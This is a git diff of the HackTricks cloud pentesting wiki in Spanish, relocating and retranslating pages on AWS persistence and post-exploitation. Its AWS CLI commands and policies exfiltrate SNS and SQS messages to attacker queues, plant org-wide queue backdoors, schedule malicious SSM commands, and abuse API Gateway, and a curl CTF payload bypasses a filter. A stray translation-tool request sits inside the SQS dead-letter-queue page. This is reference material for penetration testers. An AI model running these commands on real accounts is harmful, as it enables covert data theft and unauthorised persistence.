+**Potential Impact**: Covert, low-noise exfiltration of only targeted SNS messages from a victim topic.
+
+Steps (AWS CLI):
+- Asegúrate de que la policy de la cola SQS del atacante permita `sqs:SendMessage` desde el `TopicArn` de la víctima (Condition `aws:SourceArn` equals the `TopicArn`).
+- Crea la suscripción SQS al topic:
+
+```bash
+aws sns subscribe --region us-east-1 --topic-arn TOPIC_ARN --protocol sqs --notification-endpoint ATTACKER_Q_ARN
+```
+
+- Configura el filtro para que opere sobre el message body y solo coincida con `secret=true`:
+
+```bash
+aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicyScope --attribute-value MessageBody
+aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicy --attribute-value '{"secret":["true"]}'
+```
+
+- Sigilo opcional: habilita raw delivery para que solo la carga útil cruda llegue al receptor:
+
+```bash
+aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name RawMessageDelivery --attribute-value true
+```
+
+- Validación: publica dos mensajes y confirma que solo el primero se entrega a la cola del atacante. Ejemplos de payloads:
+
+```json
+{"secret":"true","data":"exfil"}
+{"secret":"false","data":"benign"}
+```
+
+- Limpieza: unsubscribe y elimina la cola SQS del atacante si fue creada para pruebas de persistencia.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md

@@ -1,37 +0,0 @@
-# AWS - SQS Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SQS
-
-Para más información consulta:
-
-{{#ref}}
-../aws-services/aws-sqs-and-sns-enum.md
-{{#endref}}
-
-### Usando la política de recursos
-
-En SQS necesitas indicar con una política IAM **quién tiene acceso para leer y escribir**. Es posible indicar cuentas externas, ARN de roles, o **incluso "\*"**.\
-La siguiente política le da a todos en AWS acceso a todo en la cola llamada **MyTestQueue**:
-```json
-{
-"Version": "2008-10-17",
-"Id": "__default_policy_ID",
-"Statement": [
-{
-"Sid": "__owner_statement",
-"Effect": "Allow",
-"Principal": {
-"AWS": "*"
-},
-"Action": ["SQS:*"],
-"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
-}
-]
-}
-```
-> [!NOTE]
-> Podrías incluso **activar un Lambda en la cuenta del atacante cada vez que se ponga un nuevo mensaje** en la cola (tendrías que volver a ponerlo) de alguna manera. Para esto, sigue estas instrucciones: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md

@@ -0,0 +1,47 @@
+# AWS - SQS Persistencia
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SQS
+
+Para más información consulta:
+
+{{#ref}}
+../../aws-services/aws-sqs-and-sns-enum.md
+{{#endref}}
+
+### Usando política de recursos
+
+En SQS debes indicar con una política IAM **quién tiene acceso de lectura y escritura**. Es posible indicar cuentas externas, ARN de roles, o **incluso "\*"**.\
+La siguiente política otorga a todos en AWS acceso a todo en la cola llamada **MyTestQueue**:
+```json
+{
+"Version": "2008-10-17",
+"Id": "__default_policy_ID",
+"Statement": [
+{
+"Sid": "__owner_statement",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": ["SQS:*"],
+"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
+}
+]
+}
+```
+> [!NOTE]
+> Incluso podrías **activar una Lambda en la cuenta del atacante cada vez que se coloque un nuevo mensaje** en la cola (tendrías que volver a ponerlo). Para ello, sigue estas instrucciones: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
+
+### Más técnicas de persistencia en SQS
+
+{{#ref}}
+aws-sqs-dlq-backdoor-persistence.md
+{{#endref}}
+
+{{#ref}}
+aws-sqs-orgid-policy-backdoor.md
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md

@@ -0,0 +1,71 @@
+# AWS - SQS DLQ Backdoor Persistence via RedrivePolicy/RedriveAllowPolicy
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Abuse SQS Dead-Letter Queues (DLQs) para extraer sigilosamente datos de una cola fuente víctima apuntando su RedrivePolicy a una cola controlada por el atacante. Con un maxReceiveCount bajo y provocando o esperando fallos normales de procesamiento, los mensajes se desvían automáticamente al DLQ del atacante sin cambiar a los producers ni las Lambda event source mappings.
+
+## Abused Permissions
+- sqs:SetQueueAttributes en la cola fuente víctima (para establecer RedrivePolicy)
+- sqs:SetQueueAttributes en el DLQ del atacante (para establecer RedriveAllowPolicy)
+- Opcional para acelerar: sqs:ReceiveMessage en la cola fuente
+- Opcional para la configuración: sqs:CreateQueue, sqs:SendMessage
+
+## Same-Account Flow (allowAll)
+
+Preparación (cuenta atacante o principal comprometido):
+```bash
+REGION=us-east-1
+# 1) Create attacker DLQ
+ATTACKER_DLQ_URL=$(aws sqs create-queue --queue-name ht-attacker-dlq --region $REGION --query QueueUrl --output text)
+ATTACKER_DLQ_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_DLQ_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+# 2) Allow any same-account source queue to use this DLQ
+aws sqs set-queue-attributes \
+--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
+--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"allowAll\"}"}'
+```
+Ejecución (ejecutar como principal comprometido en la cuenta de la víctima):
+```bash
+# 3) Point victim source queue to attacker DLQ with low retries
+VICTIM_SRC_URL=<victim source queue url>
+ATTACKER_DLQ_ARN=<attacker dlq arn>
+aws sqs set-queue-attributes \
+--queue-url "$VICTIM_SRC_URL" --region $REGION \
+--attributes '{"RedrivePolicy":"{\"deadLetterTargetArn\":\"'"$ATTACKER_DLQ_ARN"'\",\"maxReceiveCount\":\"1\"}"}'
+```
+Aceleración (opcional):
+```bash
+# 4) If you also have sqs:ReceiveMessage on the source queue, force failures
+for i in {1..2}; do \
+aws sqs receive-message --queue-url "$VICTIM_SRC_URL" --region $REGION \
+--max-number-of-messages 10 --visibility-timeout 0; \
+done
+```
+Por favor proporcione el contenido del archivo src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md que desea traducir al español.
+```bash
+# 5) Confirm messages appear in attacker DLQ
+aws sqs receive-message --queue-url "$ATTACKER_DLQ_URL" --region $REGION \
+--max-number-of-messages 10 --attribute-names All --message-attribute-names All
+```
+Ejemplo de evidencia (los atributos incluyen DeadLetterQueueSourceArn):
+```json
+{
+"MessageId": "...",
+"Body": "...",
+"Attributes": {
+"DeadLetterQueueSourceArn": "arn:aws:sqs:REGION:ACCOUNT_ID:ht-victim-src-..."
+}
+}
+```
+## Variante entre cuentas (byQueue)
+Configura RedriveAllowPolicy en la DLQ del atacante para que solo permita ARNs de las colas origen específicas de la víctima:
+```bash
+VICTIM_SRC_ARN=<victim source queue arn>
+aws sqs set-queue-attributes \
+--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
+--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"byQueue\",\"sourceQueueArns\":[\"'"$VICTIM_SRC_ARN"'\"]}"}'
+```
+## Impacto
+- Exfiltración/persistencia de datos sigilosa y duradera al desviar automáticamente mensajes fallidos de la cola origen SQS de la víctima hacia una DLQ controlada por el atacante, con ruido operativo mínimo y sin cambios en producers ni en mappings de Lambda.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md

@@ -0,0 +1,38 @@
+# AWS - SQS OrgID Policy Backdoor
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Abusar de la resource policy de una cola SQS para conceder silenciosamente Send, Receive y ChangeMessageVisibility a cualquier principal que pertenezca a una AWS Organization objetivo, usando la condición aws:PrincipalOrgID. Esto crea una ruta oculta con alcance de organización (org-scoped) que a menudo evade controles que solo buscan ARNs de cuentas o roles explícitos o star principals.
+
+### Backdoor policy (attach to the SQS queue policy)
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "OrgScopedBackdoor",
+"Effect": "Allow",
+"Principal": "*",
+"Action": [
+"sqs:ReceiveMessage",
+"sqs:SendMessage",
+"sqs:ChangeMessageVisibility",
+"sqs:GetQueueAttributes"
+],
+"Resource": "arn:aws:sqs:REGION:ACCOUNT_ID:QUEUE_NAME",
+"Condition": {
+"StringEquals": { "aws:PrincipalOrgID": "o-xxxxxxxxxx" }
+}
+}
+]
+}
+```
+### Pasos
+- Obtén el Organization ID usando la API de AWS Organizations.
+- Obtén el ARN de la cola SQS y configura la política de la cola incluyendo la declaración anterior.
+- Desde cualquier principal que pertenezca a esa Organization, envía y recibe un mensaje en la cola para validar el acceso.
+
+### Impacto
+- Acceso oculto a nivel de Organization para leer y escribir mensajes SQS desde cualquier cuenta en la AWS Organization especificada.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md

@@ -1,27 +0,0 @@
-# AWS - SSM Persistencia
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SSM
-
-Para más información, consulta:
-
-{{#ref}}
-../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
-{{#endref}}
-
-### Usando ssm:CreateAssociation para persistencia
-
-Un atacante con el permiso **`ssm:CreateAssociation`** puede crear una Asociación del Administrador de Estado para ejecutar automáticamente comandos en instancias de EC2 gestionadas por SSM. Estas asociaciones se pueden configurar para ejecutarse a intervalos fijos, lo que las hace adecuadas para una persistencia similar a una puerta trasera sin sesiones interactivas.
-```bash
-aws ssm create-association \
---name SSM-Document-Name \
---targets Key=InstanceIds,Values=target-instance-id \
---parameters commands=["malicious-command"] \
---schedule-expression "rate(30 minutes)" \
---association-name association-name
-```
-> [!NOTE]
-> Este método de persistencia funciona siempre que la instancia EC2 sea gestionada por Systems Manager, el agente SSM esté en ejecución y el atacante tenga permiso para crear asociaciones. No requiere sesiones interactivas ni permisos explícitos de ssm:SendCommand. **Importante:** El parámetro `--schedule-expression` (por ejemplo, `rate(30 minutes)`) debe respetar el intervalo mínimo de 30 minutos de AWS. Para ejecución inmediata o única, omita `--schedule-expression` por completo: la asociación se ejecutará una vez después de la creación.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md

@@ -0,0 +1,27 @@
+# AWS - SSM Persistencia
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SSM
+
+Para más información consulta:
+
+{{#ref}}
+../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
+{{#endref}}
+
+### Uso de ssm:CreateAssociation para persistencia
+
+Un atacante con el permiso **`ssm:CreateAssociation`** puede crear una State Manager Association para ejecutar comandos automáticamente en instancias EC2 gestionadas por SSM. Estas asociaciones se pueden configurar para ejecutarse a intervalos fijos, siendo adecuadas para persistencia tipo backdoor sin sesiones interactivas.
+```bash
+aws ssm create-association \
+--name SSM-Document-Name \
+--targets Key=InstanceIds,Values=target-instance-id \
+--parameters commands=["malicious-command"] \
+--schedule-expression "rate(30 minutes)" \
+--association-name association-name
+```
+> [!NOTE]
+> Este método de persistencia funciona siempre que la instancia EC2 esté gestionada por Systems Manager, el agente SSM esté en ejecución y el atacante tenga permiso para crear asociaciones. No requiere sesiones interactivas ni permisos explícitos de `ssm:SendCommand`. **Importante:** El parámetro `--schedule-expression` (p. ej., `rate(30 minutes)`) debe respetar el intervalo mínimo de AWS de 30 minutos. Para una ejecución inmediata o única, omita `--schedule-expression` por completo — la asociación se ejecutará una vez después de su creación.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md

@@ -1,21 +0,0 @@
-# AWS - Persistencia de Step Functions
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Step Functions
-
-Para más información, consulta:
-
-{{#ref}}
-../aws-services/aws-stepfunctions-enum.md
-{{#endref}}
-
-### Inyección de Backdoor en Step Functions
-
-Inyecta un backdoor en una step function para que realice cualquier truco de persistencia, de modo que cada vez que se ejecute, ejecute tus pasos maliciosos.
-
-### Inyección de Backdoor en alias
-
-Si la cuenta de AWS está utilizando alias para llamar a las step functions, sería posible modificar un alias para usar una nueva versión con backdoor de la step function.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md

@@ -0,0 +1,21 @@
+# AWS - Step Functions Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Step Functions
+
+Para más información consulta:
+
+{{#ref}}
+../../aws-services/aws-stepfunctions-enum.md
+{{#endref}}
+
+### Step function Backdooring
+
+Backdoor a step function para que realice cualquier persistence trick, de modo que cada vez que se ejecute, ejecutará tus pasos maliciosos.
+
+### Backdooring aliases
+
+Si la cuenta AWS está usando aliases para invocar step functions, sería posible modificar un alias para usar una nueva versión backdoored del step function.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence/README.md

@@ -1,36 +1,36 @@
 # AWS - STS Persistence
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## STS
 
-Para más información accede a:
+Para más información consulta:
 
 {{#ref}}
-../aws-services/aws-sts-enum.md
+../../aws-services/aws-sts-enum.md
 {{#endref}}
 
-### Token de rol asumido
+### Assume role token
 
-Los tokens temporales no se pueden listar, por lo que mantener un token temporal activo es una forma de mantener la persistencia.
+Los tokens temporales no pueden listarse, por lo que mantener un token temporal activo es una forma de mantener persistencia.
 
 <pre class="language-bash"><code class="lang-bash">aws sts get-session-token --duration-seconds 129600
 
-# Con MFA
+# With MFA
 aws sts get-session-token \
 --serial-number <mfa-device-name> \
 --token-code <code-from-token>
 
-# El nombre del dispositivo de hardware suele ser el número de la parte posterior del dispositivo, como GAHT12345678
-<strong># El nombre del dispositivo SMS es el ARN en AWS, como arn:aws:iam::123456789012:sms-mfa/username
-</strong># El nombre del dispositivo virtual es el ARN en AWS, como arn:aws:iam::123456789012:mfa/username
+# Hardware device name is usually the number from the back of the device, such as GAHT12345678
+<strong># SMS device name is the ARN in AWS, such as arn:aws:iam::123456789012:sms-mfa/username
+</strong># Vritual device name is the ARN in AWS, such as arn:aws:iam::123456789012:mfa/username
 </code></pre>
 
-### Malabarismo de Cadenas de Roles
+### Role Chain Juggling
 
-[**El encadenamiento de roles es una característica reconocida de AWS**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), a menudo utilizado para mantener la persistencia sigilosa. Implica la capacidad de **asumir un rol que luego asume otro**, potencialmente volviendo al rol inicial de manera **cíclica**. Cada vez que se asume un rol, se actualiza el campo de expiración de las credenciales. En consecuencia, si dos roles están configurados para asumir mutuamente el uno al otro, esta configuración permite la renovación perpetua de credenciales.
+[**Role chaining is an acknowledged AWS feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), a menudo utilizado para mantener persistencia sigilosa. Implica la capacidad de **assume a role which then assumes another**, potencialmente regresando al role inicial de manera **cyclical manner**. Cada vez que se asume un role, el campo de expiración de las credentials se renueva. En consecuencia, si dos roles están configurados para asumirse mutuamente, esta configuración permite la renovación perpetua de las credentials.
 
-Puedes usar esta [**herramienta**](https://github.com/hotnops/AWSRoleJuggler/) para mantener el encadenamiento de roles:
+You can use this [**tool**](https://github.com/hotnops/AWSRoleJuggler/) to keep the role chaining going:
 ```bash
 ./aws_role_juggler.py -h
 usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]]
@@ -124,4 +124,4 @@ Write-Host "Role juggling check complete."
 ```
 </details>
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md

@@ -1,46 +1,46 @@
-# AWS - API Gateway Post Explotación
+# AWS - API Gateway Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## API Gateway
 
 Para más información consulta:
 
 {{#ref}}
-../aws-services/aws-api-gateway-enum.md
+../../aws-services/aws-api-gateway-enum.md
 {{#endref}}
 
 ### Acceder a APIs no expuestas
 
-Puedes crear un endpoint en [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) con el servicio `com.amazonaws.us-east-1.execute-api`, exponer el endpoint en una red a la que tengas acceso (potencialmente a través de una máquina EC2) y asignar un grupo de seguridad que permita todas las conexiones.\
-Luego, desde la máquina EC2 podrás acceder al endpoint y, por lo tanto, llamar a la API del gateway que no estaba expuesta anteriormente.
+Puedes crear un endpoint en [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) con el servicio `com.amazonaws.us-east-1.execute-api`, exponer el endpoint en una red a la que tengas acceso (potencialmente vía una máquina EC2) y asignar un security group que permita todas las conexiones.\
+Entonces, desde la máquina EC2 podrás acceder al endpoint y por tanto llamar al gateway API que antes no estaba expuesto.
 
-### Eludir el paso del cuerpo de la solicitud
+### Bypass Request body passthrough
 
-Esta técnica se encontró en [**este informe de CTF**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
+This technique was found in [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
 
-Como se indica en la [**documentación de AWS**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) en la sección `PassthroughBehavior`, por defecto, el valor **`WHEN_NO_MATCH`**, al verificar el encabezado **Content-Type** de la solicitud, pasará la solicitud al backend sin transformación.
+Como indica la [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) en la sección `PassthroughBehavior`, por defecto, el valor **`WHEN_NO_MATCH`**, al comprobar la cabecera **Content-Type** de la petición, enviará la petición al back end sin transformación.
 
-Por lo tanto, en el CTF, el API Gateway tenía una plantilla de integración que **estaba impidiendo que la bandera fuera exfiltrada** en una respuesta cuando se enviaba una solicitud con `Content-Type: application/json`:
+Por lo tanto, en el CTF el API Gateway tenía un integration template que estaba **preventing the flag from being exfiltrated** en una respuesta cuando se enviaba una petición con `Content-Type: application/json`:
 ```yaml
 RequestTemplates:
 application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
 ```
 Sin embargo, enviar una solicitud con **`Content-type: text/json`** evitaría ese filtro.
 
-Finalmente, como el API Gateway solo permitía `Get` y `Options`, era posible enviar una consulta arbitraria de dynamoDB sin ningún límite enviando una solicitud POST con la consulta en el cuerpo y utilizando el encabezado `X-HTTP-Method-Override: GET`:
+Finalmente, dado que el API Gateway solo permitía `Get` y `Options`, era posible enviar una consulta arbitraria a dynamoDB sin ningún límite enviando una petición POST con la consulta en el cuerpo y usando la cabecera `X-HTTP-Method-Override: GET`:
 ```bash
 curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
 ```
-### Uso de Planes DoS
+### Usage Plans DoS
 
-En la sección de **Enumeración** puedes ver cómo **obtener el plan de uso** de las claves. Si tienes la clave y está **limitada** a X usos **por mes**, podrías **simplemente usarla y causar un DoS**.
+En la sección **Enumeration** puedes ver cómo **obtener el usage plan** de las keys. Si tienes la key y está **limitada** a X usos **por mes**, podrías **simplemente usarla y causar un DoS**.
 
 La **API Key** solo necesita ser **incluida** dentro de un **HTTP header** llamado **`x-api-key`**.
 
 ### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
 
-Un atacante con los permisos `apigateway:UpdateGatewayResponse` y `apigateway:CreateDeployment` puede **modificar una respuesta de Gateway existente para incluir encabezados personalizados o plantillas de respuesta que filtren información sensible o ejecuten scripts maliciosos**.
+Un atacante con los permisos `apigateway:UpdateGatewayResponse` y `apigateway:CreateDeployment` puede **modificar un Gateway Response existente para incluir custom headers o response templates que leak información sensible o ejecuten scripts maliciosos**.
 ```bash
 API_ID="your-api-id"
 RESPONSE_TYPE="DEFAULT_4XX"
@@ -51,14 +51,14 @@ aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RE
 # Create a deployment for the updated API Gateway REST API
 aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 ```
-**Impacto Potencial**: Filtración de información sensible, ejecución de scripts maliciosos o acceso no autorizado a recursos de API.
+**Impacto potencial**: Leakage de información sensible, ejecución de scripts maliciosos, o acceso no autorizado a recursos de API.
 
-> [!NOTA]
-> Necesita pruebas
+> [!NOTE]
+> Requiere pruebas
 
 ### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
 
-Un atacante con los permisos `apigateway:UpdateStage` y `apigateway:CreateDeployment` puede **modificar una etapa existente de API Gateway para redirigir el tráfico a una etapa diferente o cambiar la configuración de caché para obtener acceso no autorizado a datos en caché**.
+Un atacante con los permisos `apigateway:UpdateStage` y `apigateway:CreateDeployment` puede **modificar un stage existente de API Gateway para redirigir el tráfico a otro stage o cambiar la configuración de caché para obtener acceso no autorizado a datos en caché**.
 ```bash
 API_ID="your-api-id"
 STAGE_NAME="Prod"
@@ -69,14 +69,14 @@ aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --pat
 # Create a deployment for the updated API Gateway REST API
 aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 ```
-**Impacto Potencial**: Acceso no autorizado a datos en caché, interrumpiendo o interceptando el tráfico de la API.
+**Impacto potencial**: Acceso no autorizado a datos en caché, interrumpiendo o interceptando el tráfico de API.
 
-> [!NOTA]
-> Necesita pruebas
+> [!NOTE]
+> Requiere pruebas
 
 ### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
 
-Un atacante con los permisos `apigateway:PutMethodResponse` y `apigateway:CreateDeployment` puede **modificar la respuesta del método de un método de API Gateway REST API existente para incluir encabezados personalizados o plantillas de respuesta que filtren información sensible o ejecuten scripts maliciosos**.
+Un atacante con los permisos `apigateway:PutMethodResponse` y `apigateway:CreateDeployment` puede **modificar la respuesta de un método existente en API Gateway (REST API) para incluir cabeceras personalizadas o plantillas de respuesta que leak información sensible o ejecuten scripts maliciosos**.
 ```bash
 API_ID="your-api-id"
 RESOURCE_ID="your-resource-id"
@@ -89,14 +89,14 @@ aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE
 # Create a deployment for the updated API Gateway REST API
 aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 ```
-**Impacto Potencial**: Filtración de información sensible, ejecución de scripts maliciosos o acceso no autorizado a recursos de API.
+**Impacto potencial**: Filtración de información sensible, ejecución de scripts maliciosos o acceso no autorizado a recursos de API.
 
-> [!NOTA]
+> [!NOTE]
 > Necesita pruebas
 
 ### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
 
-Un atacante con los permisos `apigateway:UpdateRestApi` y `apigateway:CreateDeployment` puede **modificar la configuración de la API Gateway REST API para deshabilitar el registro o cambiar la versión mínima de TLS, debilitando potencialmente la seguridad de la API**.
+Un atacante con los permisos `apigateway:UpdateRestApi` y `apigateway:CreateDeployment` puede **modificar la configuración del API Gateway REST API para deshabilitar el registro o cambiar la versión mínima de TLS, lo que podría debilitar la seguridad del API**.
 ```bash
 API_ID="your-api-id"
 
@@ -106,14 +106,14 @@ aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=repla
 # Create a deployment for the updated API Gateway REST API
 aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 ```
-**Impacto Potencial**: Debilitamiento de la seguridad de la API, lo que podría permitir el acceso no autorizado o exponer información sensible.
+**Impacto potencial**: Debilitar la seguridad de la API, potencialmente permitiendo acceso no autorizado o exponiendo información sensible.
 
 > [!NOTE]
 > Necesita pruebas
 
 ### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
 
-Un atacante con permisos `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan` y `apigateway:CreateUsagePlanKey` puede **crear nuevas claves de API, asociarlas con planes de uso y luego usar estas claves para acceder no autorizado a las APIs**.
+Un atacante con permisos `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, and `apigateway:CreateUsagePlanKey` puede **crear nuevas API keys, asociarlas con usage plans y luego usar estas claves para acceso no autorizado a las APIs**.
 ```bash
 # Create a new API key
 API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
@@ -124,9 +124,9 @@ USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --outp
 # Associate the API key with the usage plan
 aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
 ```
-**Impacto Potencial**: Acceso no autorizado a recursos de API, eludiendo controles de seguridad.
+**Impacto potencial**: Acceso no autorizado a recursos de API, eludiendo controles de seguridad.
 
-> [!NOTA]
+> [!NOTE]
 > Necesita pruebas
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md

@@ -1,31 +0,0 @@
-# AWS - CloudFront Post Explotación
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## CloudFront
-
-Para más información consulta:
-
-{{#ref}}
-../aws-services/aws-cloudfront-enum.md
-{{#endref}}
-
-### Hombre-en-el-Medio
-
-Esta [**entrada de blog**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) propone un par de escenarios diferentes donde se podría agregar (o modificar si ya se está utilizando) una **Lambda** en una **comunicación a través de CloudFront** con el propósito de **robar** información del usuario (como la **cookie** de sesión) y **modificar** la **respuesta** (inyectando un script JS malicioso).
-
-#### escenario 1: MitM donde CloudFront está configurado para acceder a algún HTML de un bucket
-
-- **Crear** la **función** maliciosa.
-- **Asociarla** con la distribución de CloudFront.
-- Establecer el **tipo de evento en "Viewer Response"**.
-
-Accediendo a la respuesta podrías robar la cookie de los usuarios e inyectar un JS malicioso.
-
-#### escenario 2: MitM donde CloudFront ya está utilizando una función lambda
-
-- **Modificar el código** de la función lambda para robar información sensible.
-
-Puedes consultar el [**código tf para recrear estos escenarios aquí**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md

@@ -0,0 +1,31 @@
+# AWS - CloudFront Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## CloudFront
+
+Para más información consulta:
+
+{{#ref}}
+../../aws-services/aws-cloudfront-enum.md
+{{#endref}}
+
+### Man-in-the-Middle
+
+Este [**artículo**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) propone un par de escenarios diferentes donde una **Lambda** podría ser añadida (o modificada si ya se está usando) en una **comunicación a través de CloudFront** con el propósito de **robar** información del usuario (como la **cookie** de sesión) y **modificar** la **respuesta** (inyectando un script JS malicioso).
+
+#### escenario 1: MitM where CloudFront is configured to access some HTML of a bucket
+
+- **Crear** la **función** maliciosa.
+- **Asociarla** con la distribución de CloudFront.
+- Establecer el **tipo de evento a "Viewer Response"**.
+
+Accediendo a la respuesta podrías robar la cookie de los usuarios e inyectar un JS malicioso.
+
+#### escenario 2: MitM where CloudFront is already using a lambda function
+
+- **Modificar el código** de la Lambda function para robar información sensible
+
+Puedes consultar el [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md

@@ -1,18 +1,18 @@
 # AWS - Control Tower Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## Control Tower
 
 {{#ref}}
-../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
+../../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
 {{#endref}}
 
 ### Habilitar / Deshabilitar Controles
 
-Para explotar aún más una cuenta, es posible que necesite deshabilitar/habilitar los controles de Control Tower:
